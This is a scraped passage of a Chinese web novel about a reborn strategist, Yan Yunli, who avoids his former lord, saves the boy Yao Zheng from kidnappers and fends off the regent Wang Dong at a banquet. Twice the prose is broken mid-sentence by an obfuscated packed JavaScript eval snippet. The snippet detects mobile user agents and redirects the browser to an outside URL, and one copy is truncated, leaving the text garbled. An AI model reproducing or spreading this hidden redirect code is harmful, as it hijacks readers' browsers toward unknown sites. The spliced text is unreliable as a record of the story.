凌宵白这才想起来的确有要事要说,他长吸了一口气,转过身来:“今日宫里传出消息,何太后身子越来越不好,药石难医,有性命之危……” “不可能呀。”燕云离皱起眉头,他记得上一世何太后一家是在王栋死后,反而死在叛军手里,王栋现在还好好的,叛乱还没开始,何太后怎么会有性命之危…… 凌宵白道:“我也奇怪,只是原地跌倒而已,怎么会越来越严重。现在还有另一个重要的消宫里想要大办何太后的五十寿辰,请各诸侯都来东都庆贺……” “什么?”听闻此言,燕云离从浴桶中惊坐起。 这件事上一世也发生过,凌老侯爷就是在这次去东都的过程中被扣留,为了救老侯爷,身为洛川军师的燕云离想出了个围魏救赵的办法,洛川借故与一直骚扰边境的异族交战,屯重兵在离东都仅两百里之外的地方。 东都迫于压力将凌老侯爷放了回来,但没想到老侯爷在回洛川的途中感染风寒,马车刚踏入洛川,人就没了。凌宵白也是因为这件事,彻底与东都决裂并起事。 只是……这时间线怎么对不上了?王栋还活着,要帮何太后办大寿的幕后首脑从叛军变成了王栋。 “何太后的寿辰是什么时候?”燕云离问。 “两个月后。”凌宵白道。 “这么急?”燕云离道,“各诸侯接到消息就要马上出发了。” 凌宵白抱着自己的宝剑,眉头紧锁:“这件事看得出是王栋的主意,他自封定国公,一人之下万人之上,朝廷成了他的一言堂,所有人都不满这是天下皆知的事,他很有可能是借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084081|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故试探各诸侯的态度。” 燕云离心里虽然门清,但他一句也不想跟凌宵白聊政治,上一世他已经跟他聊够了!两人在军营里睡一个帐篷,抵足夜谈是常有的事,最后却换来鸟尽弓藏…… 燕云离沉下眉,那起旁边的布巾,擦着自己的手臂,自顾自擦洗起来,嘴里轻松道:“我看世子想太多了,为太后庆生贺寿,这是再正常不过的事了,世子还是早些回洛川,不然就要在东都见到老侯爷了。” 凌宵白提起宝剑,一屁股坐在燕云离对面的榻上,目光坚定道:“不,我已经想好了,不能让我爹来。” “啊?”燕云离挑起一边眉毛,感觉有些不妙,“世子想如何?” “我爹性格耿直,脾气也大,来了东都一言不合肯定跟王栋吵起来,到时候被捉了把柄后果不堪设想。” 燕云离倒吸一口凉气,凌宵白似乎比上一世机灵多了。 “那不来也不行吧,都邀请所有诸侯了,谁不来不就是目无太后,那可不就被冠上目中无天下、无朝廷的罪名了。”燕云离道。 凌宵白握着宝剑的手指用力,手背青筋暴起,咬牙道:“所以我决定留在东都,替我爹为何太后贺寿。” “啊?”燕云离不顾三七二十一从水里跳了起来,“不是吧,你还要留在东都???” 凌宵白的脸猛然一红,转过头去:“先生穿好衣服,春夜寒凉,小心着凉。” 燕云离不管那么多了,从浴桶里跳了出来,一把抓过旁边的衣服披在身上,他一边走一边随意绑住衣襟,走到榻前拉起凌宵白,把他往门口推。 “枕云先生?这是……”凌宵白莫名其妙,不知他为何突然撵人,不住回头询问。 燕云离管不了那么多了,一把将凌宵白推出门口,拉上门栓。 他在门口站了一会,确定外面的凌宵白走了之后,燕云离立刻回到圆桌旁,对着果盘喊:“小神仙,小神仙,你快给我出来!” “哔啵”一声气泡破裂的声音,红色祥云出现了,小神仙打着呵欠揉着眼睛躺在上面。 “燕云离,能不能不要总是半夜叫我呀,人家也是很累的。” 燕云离凑过去,两个人就差脸对脸了。 小神仙吓了一跳,往后一躲,差点掉下祥云。 小神仙赶紧一个鲤鱼打挺坐直,端坐在祥云的正中央,恢复成端详的神色:“出什么事了?” 燕云离双手叉腰,长眉倒竖:“你还说不是你搞的鬼,现在发生的事情怎么跟上一世不一样了?” 小神仙一脸淡定,摸了摸鼻子道:“你都跟上一世所作的选择不一样了,其他事情的发展也变了有何奇怪呢,本来就不是一个世界呀。要是跟上一世一模一样,你重生还有什么意义?” 燕云离一愣,小神仙的话言之有理,他竟然无言以对。 “不行不行,你不能把凌宵白留在东都,我好不容易决定改变人生轨迹,他不能跟我待在一起。” 10.第 10 章 小神仙蓝紫色的眸子闪动,苍白嘴唇微微翕动:“真不是我搞的鬼,一切自有定数。” “别跟我说定数!我燕云离注定命不该绝!”燕云离突然暴怒起来,他抓着自己的头发,揉乱了衣服,披头散发地一屁股坐在榻上,两眼通红。 “我师父在我出山前说过,离必定成就一番丰功伟业,我助世子平定天下,奠定大渊朝的基业,不说一等一的功劳……不,我就是一等一的功劳,我凭什么要谦虚!师父千算万算,为何不告诉我,离竟是那样的结局……” 燕云离哑着嗓子低声嘶吼,一双美眸湿漉漉的。 小神仙抠了抠鼻子,嘀咕道:“若是告诉你结局,你还会出山吗?” 燕云离愣住,半天说不出话来。 小神仙耸眉:“所以咯,这就是你的命数。” “什么我的命数!难道我的命数就是当凌宵白的工具,用完即弃?”燕云离猛地站起来,宽大的衣袖乱舞,“我不认!我不认!” 这时,外面楼下已经传来了驿馆的人走楼梯的声音,而燕云离显然已经不管不顾了,敞开衣襟在屋子中央乱舞乱喊,一副走火入魔的模样。 小神仙怕他坏事,只好飞到他面前,对他施了个定身术,又在他面前低声道:“别喊了,再喊整个东都都知道你是重生来的了,你想被抓起来么。” 燕云离不能动,只能将双眼瞪成铜铃,紧闭的嘴唇里用力发出“呜呜”的声音,似乎有许多不满将要发泄。 小神仙急得原地转了三圈:“好吧好吧,你别喊冤了,我再给你样好东西。” 燕云离这才停住了发出声音,而是瞪着眼等着他的答案。 小神仙道从拂尘上拔下一根银丝,拉起燕云离右手的小手指,将银丝缠绕在他手指上。银丝缠绕几圈后,白光一闪,消失不见。 燕云离瞪着眼看着自己的小手指,满眼疑惑。 小神仙笑眯眯道:“这是我送你的保命符,若你遇到危险,只要晃晃小手指,叫我的名字救苦救难,我就会出现了。” “呜呜呜呜呜呜呜!”燕云离的双瞳往中间靠拢,努力指着自己的嘴。 人美,做斗鸡眼也是美的。 小神仙明白过来,手指一挥,解开了他头部的定身术。 燕云离立刻开口道:“是不是保证这一世我不会死在凌宵白手上?” 小神仙摸了摸下巴,嘴里嘶了一声:“这……我也不能提前预知结果呀……” 就在燕云离马上又要发作的档口,小神仙及时地转过身来,眨眼道:“但我可以保证只要你遇到危险,立刻叫我,我就会出现来救你。这总行了吧?!” 燕云离不放心地追问:“随叫随到?” “尽量。”小神仙道。 燕云离眯起眼睛。 正在这时候,脚步声已经走到了门口,小神仙打了个响指:“解!” 他解开了燕云离全身的定身咒,自己则化光消失了。 脚步声在门口停住了,外面有人道:“小的在楼下听到燕先生不停跺脚,可是遇到了什么麻烦?” 燕云离知道外面这些人,包括驿馆里上上下下都是王栋的探子,翻了个白眼,然后道:“没事,吃饱了撑的,来回走动消消食。” 外面的声音渐渐消失了,燕云离知道人走了,他看了看自己的小手指,虽然他得到了小神仙给的法宝,但还是感觉胸中有些郁闷,索性穿好衣服,束好头发,拿起自己的白羽团扇,上街去了。 燕云离走到自家正在装修的“枕云居”门口,因为店铺还未开门营业,门口的空地竟然被一户买杂耍的摊子给占了。 那摊主敲着锣,满大街吆喝。 而人群中央一名约莫只有十三四岁的孩子正在表演胸口点枪尖的技艺,只见那孩子赤/裸着结实却还不够强壮的胸膛,正用尽全身力气鼓起不多的肌肉,对抗着枪尖的力量。那孩子的脸因为憋气而涨得通红。 燕云离一看就觉着不对劲,真正的硬气功并不是这样的,这孩子练的法门都是错的,看来他的师父十分不负责。 燕云离摇着扇子连连摇头,嘴里啧啧了两声。 他正欲走开,忽然听到那摊主猛敲了一下锣,大声道:“各位乡亲,有钱的捧个钱场,没钱的捧个人场啊!下面我们父子两为大家表演个绝活,咽喉刺枪。” 燕云离一听,收住了脚步,以这孩子当前的水准,若要表演“咽喉刺枪”,后果不堪设想! 这摊子是眼瞧着在这张罗了半天,没见几个扔铜板的人,情急之下,尽然无视着孩子功夫还不到家,竟然玩命表演最危险的技艺。 那孩子也是胆大,似乎还不知道自己即将面临的危险,张开双臂,挺着胸膛就走了过去。 摊主见围观的人越来越多,也是见钱眼开,不管不顾地放下手里的铜锣,拿起一柄红缨枪,朝着孩子的咽喉刺去。 就在枪尖即将碰到那孩子咽喉处的一刹那,只听“铛”地一声,一把宝剑凭空出现,劫住了那红缨枪。 宝剑还未出鞘,仅仅凭着剑主人的力道就把那摊主连人带枪震飞了出去。 一条挺拔修长的人影出现在人群中央,宝剑凭空快速而华丽地转了几圈,回到了主人手中。 俊美脸庞上带着潇洒的神情,菱形刚毅的嘴角扬起一道轻微弧线:“你这与企图杀人有何分别,今日遇到小爷,算你倒霉!” 那摊主好不容易从地上爬起来,嘴角淌下一丝血丝,他用脏脏的衣袖擦了擦嘴,脸上露出凶狠的神情:“你是谁?敢来砸场子!” 凌宵白轻蔑地哼了一声:“你不配知道小爷的名字,只不过这孩子小爷带走了。” 他抓住那孩子的,沉声道:“跟我走。” 那孩子早就被他刚才华丽的身姿与高强的武功惊呆了,一时间不知道说什么好,嘴里乱喊道:“哥哥,你武功好厉害啊!” 凌宵白看着他的咽喉道:“你体格与根骨都不错,是练武的好材料,可惜跟错了人,你知不知道,方才你若是让枪尖刺到,必死无疑。” 那小孩耷拉下眉毛,一张圆脸垂头丧气道:“我知道,可是我摊主买来的,是他的奴隶,他给我饭吃我才能活命,他说过我只能死在他手上……” “谁说的。”凌宵白 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“我敢向你保证,有朝一日,你一定会成为一位了不起的大将军。”凌宵白一字一句坚定地说道。 燕云离在一旁气得猛摇扇子,心道上一世凌宵白这个忽悠大师就是擅长收买人心,一个个能人异士为他鞠躬尽瘁,他燕云离就是被他“骗”得为他死心塌地、死而后已…… 这孩子已经完全被凌宵白“洗脑”了,看他这崇拜的眼神,应该是十头牛也拉不回来了。 算了算了,各人有各命,尊重他人命运……燕云离摇摇头,准备离开。 这时,燕云离听到身后的凌宵白问那孩子:“你有名字吗?” 那孩子大声道:“哥哥,我有,我叫姚铮。” 什么?!!! 燕云离差点被自己的衣带绊倒摔个狗吃屎。 日后大渊朝第一猛将——姚铮??? 上一世燕云离第一次见到姚铮的时候,他已经是凌宵白军中威风凛凛的中郎将了!他两相遇的时间晚,那时姚铮已经成年,是一个两百斤的壮汉了! 燕云离做梦也没有想到,这一世第一次见到姚铮竟然是在他还未成年的时候,看起来还这么瘦弱…… 凌宵白拍着小姚铮的肩膀:“走,我先带你去买身衣服。枕云先生,一起走吗?枕云先生、枕云先生……” 凌宵白喊了好几声,燕云离才回过神来,他没好气道:“你们哥俩去吧,我还有事。” 此地就在还未装潢好的枕云居门口,凌宵白以为他还要打理枕云居的事,便道:“那好,我先带这孩子走了,晚上我们回驿馆见。” “哼……”燕云离轻哼了一声,心道:谁要跟你见。 凌宵白带着小姚铮走远了,那摊主从地上爬起来,咬着牙阴森道:“妈的,敢抢走我的摇钱树,给老子等着!老子在这地头上也不是白混的!” 人群已经散了,这一幕被站在枕云居里的燕云离尽收眼底,燕云离摇着扇子,满意地点头,嘴里喃喃道:“不错不错,就是要这样,哪能任人欺负。” 11.第 11 章 凌霄白带着小姚铮去附近的裁缝铺换了身干净衣服,试衣服的时候姚铮的肚子里咕咕直叫,凌宵白笑了一声,又带他去旁边的餐馆吃饭。 凌宵白点了七八个菜,居然不够姚铮一个人吃,他一阵风卷残云,桌子上就空了一大半,这胃口已经不能用半大小子来形容了,把在军营长大的凌宵白都吓了一跳。 “你这是多久没吃过饱饭了?”凌宵白面前的筷子都还没动过,姚铮已经添了五碗饭了。 姚铮嘴里还没闲着,嘟囔着道:“记事起,就没吃饱过。” 凌宵白:“……” 姚铮这胃口,看来也是天赋异禀,再加上他的骨骼惊奇,今后必定是练武的好材料。 凌宵白满意地点点头,叫小二拿了瓶好酒来,自己反正也不饿,便独酌起来。 姚铮捧着碗埋头干饭,闻到酒香,抬起眼睛偷瞄了两眼,发现凌宵白看他后,又立刻低下头去。 凌宵白笑:“这是酒,你还不能喝,等你再长大几岁便教你喝。” 姚铮涨得满脸通红,道:“哥哥,你叫什么名字?你对我这么好,简直就是我的再造恩人!” 凌宵白微笑:“我叫凌宵白,虚长你几岁,叫我哥哥也没错。你记住,我们是洛川人,以后你就跟我回洛川侯府。” “好!”姚铮激动得捧着碗的手都抖动起来,“以后我就是洛川人!” 他激动地看着对面凌宵白,然后眼瞧着他直直地倒了下去,趴在桌子上。 “哥哥?!”姚铮吓得手里的碗都飞了,冲过去摇晃着凌宵白的身体。 只见凌宵白趴在桌子上,双目紧闭,叫也叫不醒,并不像喝醉的人,难道是…… “嘿嘿嘿!这回看你们往哪跑!” 姚铮听见身后有个熟悉而恐怖的笑声响起,他转身回头一看,只见一个麻袋从天而降,把他从头到脚套住了。 “放开我!放开我!”姚铮大叫着,然后被人一闷棍从外面打晕了。 * 姚铮再醒来的时候,发现自己在一间破庙里,身体被几根粗麻绳绑在残破的柱子上。 他扭头一看,凌宵白被绑在旁边的另一根柱子上。 破庙里烧着篝火,几个男人正围着火吃着东西。 姚铮一眼认出背对着他的那个男人就是摊主,这个坏蛋化成灰他都认得。 另外几个地痞流氓正大嚼着卤肉、烧鸡,油汪汪的脸上满是狞笑。 “这票发达了,牛哥,果然还是你有办法,没想到这小子身子有这么多银子。” 摊主斜着眼睛冷笑:“姚铮那小子天生神力,我把他养大就是为了给我赚银子的,这公子哥仗着自己有几个臭钱夺了我吃饭的家伙,我怎么可能放过他!” 他旁边一尖嘴猴腮的黑皮道:“哎不对啊牛哥,这公子哥看起来不像普通人,万一是哪家大官的儿子怎么办?” 摊主张着鼻孔哼了一声:“听他的口音,不像本地人,而且之前也没见过他,肯定是外地来的。所以,我们的手脚得干净点。” 黑皮道:“所以牛哥的意思是……” 摊主咬着牙低声道:“等会等他醒来,逼问他住的地方还有没有值钱的东西,我听说那些公子哥都是用银票的,他身上竟然一张银票都没有,只有些碎银子,肯定是没带出来!” “对对对!还是牛哥你会!”那些人混到了好处,连连吹捧。 “喝喝喝,大家吃饱了喝足了,再做事!” 姚铮听到他们的对话,急得满头大汗,他又不能发出声音,只能扭着头看着凌宵白的方向干瞪眼。 忽然,姚铮发现脚下有些碎石子,他悄么么地用脚尖勾了那些石子,往凌宵白那边踢去。 可以他准头不够,连踢了好几颗小石子,没有一颗能撞到凌宵白身上。 姚铮着急地扭着身体,手臂被麻绳勒出了血痕。 可能是他的动静太大,篝火旁的几人似乎听到这边的声响,摊主回过头,瞪着阴冷的眼神朝这边看过来。 姚铮心里咯噔一下,心道这下完了,要怎么保护哥哥才好…… 篝火旁的几个男人扔掉手里的东西,大摇大摆地朝柱子这边绑着的两人走来。 姚铮像下定了决心一般,忽然大喊道:“主人,你放过这位公子吧,我错了,我跟你回去!” 摊主走到他的面子,伸出铁爪一拳砸在他的肚子上,姚铮瞬间吐出一口鲜血。 摊主一把抓住姚铮头发,把他的头往后拉扯,咬着牙对他道:“臭小子,你别急,等我收拾了那小子,你的账我以后跟你慢慢算!” 他又给了姚铮两拳,然后丢开他,朝凌宵白那边走去。 凌宵白因为药力太强还没有醒来,头倾向一边,双目紧闭。 他身旁的地痞凑过去,啧啧两声:“这富家公子就是保养得好,仔细看着这脸还真是俊。” 旁边一人给他一肘击,嘲笑道:“你是多久没碰过女人了?饥不择食了?” “去去去!”那人没趣地推开他。 摊主道:“都别闹了,拿钱要紧,有了钱还怕找不到女人?去拿冷水来,把他泼醒!” 几人环顾四周,除了几人刚打的酒,这破庙里一点儿水也没有,他们可舍不得浪费酒。 一人道:“牛哥,干脆一人一泡尿,滋醒他!” “好主意!”其他地痞马上赞同。 摊主冷笑了一声,脸上肌肉狰狞道:“交给你们了。” 几个人面对着凌宵白,正要解腰带,忽然一阵风从破庙门口吹进来,在大殿里打着转朝几人卷去。 那几人甚至都没看清楚怎么回事,就被风刮了起来,卷到半空,然后重重地摔倒地上。 顿时,哀嚎声一片! “怎么回事?还有高手?”几人捂着被风刮破的脸,一边嚎叫一边四处张望,也没看到半个人影。 这时,破庙正墙昏暗的破布幔后,黑乎乎看不清颜面的神像后忽然传来沉重的呼吸声。 此时正值黄昏,破庙里昏暗一片,幽深的神龛后发出人沉重呼吸的声音,让人背后汗毛倒竖。 几人吓得滚做一团。 “有、有鬼……” 那摊主骂道:“放屁,庙里怎么会闹鬼?!” 一地痞道:“不是,你没听说吗?一人不入庙……” “那是一人,咱们都几个人了?” “没错!说不定是什么小动物!” 几个人面面相觑了一番后,互相壮着胆站了起来,纷纷抄起了家伙。 几个人用眼神交流了一番,稍微散开了一些,朝着神龛包围靠拢过去。 这时,神龛后的喘息声好像又消失了。 几个人松了口气,其中一个胆大的伸出手,用刀尖去掀开那脏兮兮的布幔。 布幔刚一掀开,一束龙卷风从神龛里面刮了出来,正面把那人卷飞了两丈远。 与此同时,其余人看到黑洞洞的神龛深处亮着一双幽幽的眼睛。 “鬼啊!”几个人发生连连惨叫,纷纷掉头朝破庙大门口跑去。 破庙的大门却应声关闭了,,就像有一股巨大的力量控制了门一般,几个人无论怎么用力拉都拉不开。 神龛后发出阵阵笑声,笑声在空旷的大殿里回响。 一阵滴滴答答的声响,几个人吓得全尿裤子了。 “你们是不是想要他身上的银票?”大殿后方忽然转来一阵幽幽的声音。 以摊主为首的几个人吓得猛转过身,背靠着大门,一个个眼睛瞪得铜铃般大小。 “谁、谁、谁在说话……” 那幽幽的声音像一阵风似的,在破庙上空回旋飘荡。 “他身上可没银票了,想知道为什么吗?” 几个人不光浑身汗毛倒竖,连头发都快吓得竖起来。 还是那个卖艺摊主,牙齿打颤着问:“为、为、为什么……” 那笑声逐渐变得清晰、清脆,一条亮色的华丽身影从神龛中飞出来,天外飞仙一般轻盈地落在庙殿中央。 手中白羽珊瑚团扇轻摇,绝世容颜上带着戏谑的笑:“因为你们来晚了,他的银票,已经被我花光了。” “啊???”这几人目瞪口呆,差点忘了说话。 然而,这些人还未来得及看清楚来人的面貌,就被面前刮起白色羽毛旋风扇得纷纷栽倒在地,晕死了过去。 燕云离勾起嘴角,得意地笑了笑,收起扇子,转过身回头朝姚铮和凌宵白走过去。 姚铮这下子认出了来人,这不就是今日在卖艺场地,凌宵白欲带他走时,说话的那个哥哥吗!当时凌宵白还邀请他一起走,叫、叫什么先生来着…… 姚铮一时想不起名字,只好喊道:“美人哥哥,你是来救我们的吗?” 美人、哥哥? 燕云离远山眉轻蹙,这傻子怎么还和前世一样,别人都叫他军师、丞相大人,只有这傻子,经常叫他美人哥哥。 燕云离走到姚铮面前,轻抬手腕,团扇一挥,几股气劲瞬间割断了姚铮身上的麻绳。 姚铮一时没了束缚,身体失去平衡,双膝跪地,正好跪在燕云离面前。 燕云离也不闪躲,这恩情,他受得起!况且,前世姚铮也没少跪他…… 姚铮活动开了手脚,抬起头抱拳道:“多谢美人哥哥救命之恩!” 燕云离摇着手中华丽的团扇,垂着眼皮道:“不必多言,你快走吧。” “多谢美人哥哥!”姚铮倏地站起身,走到旁边的柱子前,就要去解凌宵白身上的绳子。 “等等!”燕云离叫住了他。 “怎么?”姚铮回过头来。 燕云离道:“你要做什么?” “当然是救哥哥。”姚铮一愣,这还用问吗?他已经把凌宵白当成了亲哥哥,眼下自己获救当然第一时间去救凌宵白。 燕云离拦在他面前,脸上故作严肃道:“他不会有事的,你听我一句劝,趁他还没醒,赶紧走吧,反正你也自由了。” “为何?”姚铮的一双豹眼瞪得圆溜溜的。 他忽然想起,方才这位美人哥哥吓唬那些地痞流氓的时候,说凌宵白身上的银票已经被他用光了,又想起在卖艺场地美人哥哥对凌宵白爱答不理的模样,难道…… 这位美人哥哥也是坏的? 燕云离一看姚铮脸上怔愣的表情,就知道他刚才脑海里肯定闪过了不少念头,姚铮虽然打仗是员猛将,但论脑子,那最多只能算他燕云离的一根头发丝。 燕云离摇着扇子道:“山人会算命,现在就给你算一卦定论,你要是跟着他,必定英年早逝,惨死沙场。” 其实燕云离也没说谎,姚铮跟随凌宵白十二年,在最后的决战中因一次失误被小人暗算,惨死战场,当时的凌宵白得知消息后大怒,带领大军差点不顾一切直捣敌军都城,幸好燕云离连夜疾驰百里,赶到中军帐拖住了凌宵白。 也幸好天佑大渊,当夜对面秦王突然得病暴毙,凌宵白的怒火这才平息,在第二年结束了战争,一统天下。 怎么说呢,姚铮短暂的一生跟随凌宵白戎马十二年,最后倒在了成功的前夜。 这一世的燕云离秉着能救一个是一个的原则,反正自己是不打算跟凌宵白了,姚铮的话,能劝就劝。 哪知小姚铮挺起胸膛,眼中冒着精光,大声道:“我不怕死,我已经认了他为哥哥,就算将来战死沙场又如何,对将军来说,不是最大的荣耀吗?人反正都是要死的,要不是哥哥我今天已经死了,多活的日子是哥哥给的,如果有一天能为了自己喜欢的事和最重要的人而死,我愿意!” 燕云离手里的扇子停住了,长而密的羽睫暂停了扇动,樱色嘴唇微微张开,他一动不动的时候,破庙里的风似乎都停止了流动。 过了好半天,他嘴里才挤出两个字:“白痴。” 姚铮见他态度不明,挺身挡在凌宵白前面,抬头对燕云离道:“美人哥哥,你刚才救了我,我很感激!来日若有需要,姚铮必定想报!但是,我已决定和这位哥哥同生共死,还请放了他!” 燕云离看他的样子,知道是劝不动了,嘴里微微吐出了口气,转过身冷冷道:“傻子,随你,日后别后悔就行。” 姚铮对着他的背影抱拳:“多谢美人哥哥,我一定不会后悔的。” * 离开了破庙,燕云离胸中有些意难平,便施展轻功,一路足尖点着树冠,飞一般回到了东都。 天已经黑了,东都灯火通明,燕云离飞到运河边塔楼顶上,看着下面虹桥人人来人往,任凭夜风吹动着他的衣袂和飘带。 姚铮的话令他有些触动,明知结局是死,姚铮却愿意向死而生。难道姚铮与凌宵白之间的君臣之情比自己的更加坚定? 燕云离摇了摇头,不,不是这样。 姚铮并不是重生而来,他没有亲眼见过未来悲惨的结局,就算见到了,也是凌宵白为了他奋不顾身大军压境堵上了大渊的国运为他复仇,这只会让姚铮更叫感动,更加君臣之间情比金坚。 而他燕云离,陪着凌宵白走到了最后,他亲眼见到了大渊朝的建立,正打算起草恢复民生的策略,协助凌宵白开启新的盛世,却不想竟然被凌宵白赐死…… 祭天铜鼎中熊熊燃烧的烈火出现在燕云离的脑海中,那一声声沉重的低吼像擂鼓一般不断在燕云离耳边响起: “妖相祸国,业遭天谴,焚其祀神,以息上怒。” “放屁!胡说八道!”燕云离一声怒吼,一掌击出,将运河对面另一座塔楼屋顶的脊兽击落。 那脊兽“噗通”一声掉入运河里,发出一声沉闷的声响,将河岸上的游人和河中间货船上的人都吓了一跳。 “枕云先生,何故如此烦恼?”身后出现的一个声音让燕云离瞬间清醒。 他不用回头,只听脚步声响便能判断来人是台静池。 他是以“美人”的身份,跟着台将军来东都的,台静池和驿馆的人一直称呼他为“燕先生”,今夜突然叫他“枕云先生”,怕是对他的身份产生了怀疑。 燕云离冷静下来,摇了摇手中的扇子,哈哈笑了两声:“东都热闹,天黑了街上还有这么多人,不由想逗逗行人。看他们被吓一跳的样子,挺有趣的。” 台静池往前走了两步,走到跟燕云离并排的位置,往下面看了几眼:“先生的掌法精准,脊兽掉落的位置正好在空白无人处,没伤着任何人。” 燕云离故意笑道:“那岂能伤着人,伤着人我岂不是要被关到大牢里去了,我还要开店做个逍遥掌柜呢。” 台静池扭头看着他的侧颜,夜幕下燕云离的侧脸宛如一道完美的曲线,眼睫出弯弯向上翘起,勾人心魄。 台静池垂下眼眸,低声道:“先生可以放心,在东都先生不会有任何事的,太师今晚有请。” “嗯?”燕云离转过身,“今晚?” 台静池道:“是,方才就差我去驿馆请先生,驿馆的下人说先生不在,我来虹桥随便转转,一眼就瞧见塔楼顶上先生风姿。” “呵呵呵……”燕云离干笑了几声,怪自己站得太高了。 * 燕云离今夜穿的是一件粉色外套加雪白长衫,东都风气开化,男子头上簪花的也不少,燕云离的打扮不仅不女气,反而看着格外清气动人。 王栋看到他,眼睛都要挪不开了。 太师府在花园荷池边凉亭里摆了一桌酒席,桌上有酒有肉鲜花瓜果,香飘四溢。 燕云离动了动鼻子,赞叹道:“这香味胜过街市上最好的酒楼,这厨师的手艺不去做御厨可惜了。” 王栋哈哈大笑,引他在对面坐下,得意道:“实不相瞒,今夜做这桌酒菜的厨子正是宫廷御厨。” 王栋毫不忌讳,一来这是在他自己的府邸里,二来也没提防着燕云离。 桌子旁还有一炉温火,上面烫着酒,王栋伸出手舀了一勺倒进燕云离面前的酒碗里。 “美人尝尝。” 燕云离看着面前的酒碗,心道这是要灌醉我呢。 燕云离端起酒碗,肉粉色的嘴唇微微弯起,笑道:“多日来承蒙太师照拂,离敬太师一碗。” 说罢,端起酒碗一饮而尽。 王栋脸上笑开了花,心道这男美人就是痛快,不像那些小家碧玉扭扭捏捏,他也跟着将自己面前的一碗酒一饮而尽。 燕云离毫不跟他客气,一口气连敬了三碗。 燕云离来东都已经多日,王栋早就垂涎欲滴,熬到今日实在有些不想等了,他今晚设宴本来想灌醉对面的美人,来个半推半就,没想到对面比自己还主动!他这一口肉还没吃,已经连喝了三大碗酒,差点有些按捺不住。 王栋脑子有些发热,嘴里也就不听使唤起来,竟然对燕云离道:“美人纵横江湖,见过无数英雄,以美人之见,谁人能住持天下大局呀?” 请御厨,口出狂言,无论哪一条都构成欺君死罪了。 无奈东都是王栋的天下,朝廷羸弱早就奄奄一息,现在天下群雄四起,就等着一个机会,一个打头的号令,便要四分五裂。 燕云离微微蹙了蹙眉,直言道:“此时,是太师。” 若是平时清醒,王栋一定会立刻察觉“此时”这两个字不对劲,但现在他头昏脑热,眼里全是美人,心里瘙痒难耐,竟然完全无警觉,只站起身,伸出两只禄山之爪,朝燕云离走去。 燕云离当然不会坐以待毙,而是顺势站起身,走到栏杆边,看着湖心月道:“此时花好月圆,春夏之际,恐生变。” 王栋此时色欲熏心,竟然听不出话中含义,还以为燕云离在调情呢,上前道:“既然花好月圆,莫要辜负,花开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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燕云离露出“惊讶”的表情,赞叹道:“这般大小的夜明珠,真是世间罕有,宛若天上明月,落入人间。” 王栋指着夜明珠道:“近日,有人送来了这东西,我一看到这宝贝,立刻想起了美人,只有这世间罕见的宝物才配得上绝世美人。” 燕云离也不说话,看着夜明珠微笑。 王栋见他目不转睛地看着夜明珠,以为他喜欢,讨好道:“美人不如上来,亲手把玩。” 燕云离哪是欣赏啊,这珠子他认识,上一世可是掀起了一阵腥风血雨,反叛军占领东都后,与前来救驾的盟军在宫中抢夺宝物,为了这颗珠子打翻了宝殿的烛台,整个皇宫几乎被烧了个干净,这场火灾可以算是东都最大的一场灾难了。 后来这颗珠子不知怎地,又出现在了新都,当时燕云离觉得这珠子是不祥之物,让凌宵白将其放置在庙宇中供奉。 听见王栋多次催促,燕云离缓步上前,伸出白玉般的手,正要去触碰那珠子,就在即将碰到的一瞬间,忽然有人冲了出来,一把连盒带珠抢了过去,托盘也被打翻在地,发出一声巨响。 一妇人抱着锦盒,大骂道:“哪来来的妖孽,老爷的宝物也是你配碰的!” 王栋定睛一看,差点没气晕,来的正是自家原配夫人,他早早就交代下人看住夫人,让她们不要出后院,怎么会跑到这里来? 王栋正要说话,忽然间花红柳绿又来了几个侧夫人,一个个上前就去抢锦盒。 “老爷说了珠子是要送我的!” “不要脸,明明说了要给我!” “我才是老爷最宠爱的,老爷说了要给我!” 一时间尖叫声、叫骂声、打闹声不绝于耳,花园里什么气氛都没有,好像一下子变成了泼妇们叫骂的菜市场。 王栋气得甩了旁边下人几个耳光,骂道:“谁让夫人知道的?不是说了要你们看好夫人,不要走漏风声吗?怎么都跑出来了?” 下人捂着脸委屈道:“小的、小的也不知,夫人们本来约好了今晚一起打马吊的,不知怎么都出来了……” 王栋还想追问,那几个夫人争抢不过,一个个围了上来。王栋的左右两只手都被拉住,耳边吵闹声不断。 “老爷,你说,到底给谁?” “老爷,你明明答应了给我的!怎么现在又要给那个狐媚子?” 大夫人力气不济,被挤到了一边,没拉到王栋的袖子,气得站在他对面,骂道:“不管给谁,都不能给那个狐媚子!” “对对对!”其他夫人马上附和。 有一个宠妾抱着王栋的腰身哭道:“老爷,月底就是妾的生辰,老爷明明答应了让妾在府中随意挑礼物的,还说妾要什么都行……” 王栋心道:这下玩了,今儿晚上不得安宁了。 见众夫人把矛头指向了燕云离,他只好示意下人先送燕云离回去,自己处理了家事再说。 燕云离忍着压不住想要上扬的嘴角,跟随着管家,慢悠悠地出了门。 出了太师府的大门,已是夜深,太师府大门口的两扇红灯笼在夜风里左右摇摆。 燕云离双手背在身后,笑着摇摇头,踱着步子往前走。 走了没多久,刚拐过墙角,前面出现了一人,一道黑黑身影挡住了燕云离面前的光亮。 燕云离抬起下巴,看着对面黑暗中闪着精光的眼睛,轻轻一笑。 “台将军,还有何事?” 台静池从黑暗中走了出来,双目炯炯有神:“枕云先生安好。” 燕云离抱拳道:“今晚的事,多谢将军了,日后离必定报答。” 台静池不动声色,只是盯着燕云离道:“先生不必客气,就如同我们在塔顶说好的一般,将来静池也有需要先生相助的时候,还望先生不吝赐教。” 原来,台静池早就看出了燕云离并非无脑美人,在塔顶传递了王栋要召见燕云离的消息后,主动提出愿意向燕云离提供帮助,当然也是有条件的。 塔顶猎猎风中,燕云离欣然答应了。 他知道,台静池并非池中之物,一个小小的禁卫军首领根本满足不了他,他才是东都下一任的主人,也是日后凌宵白最大的对手之一。 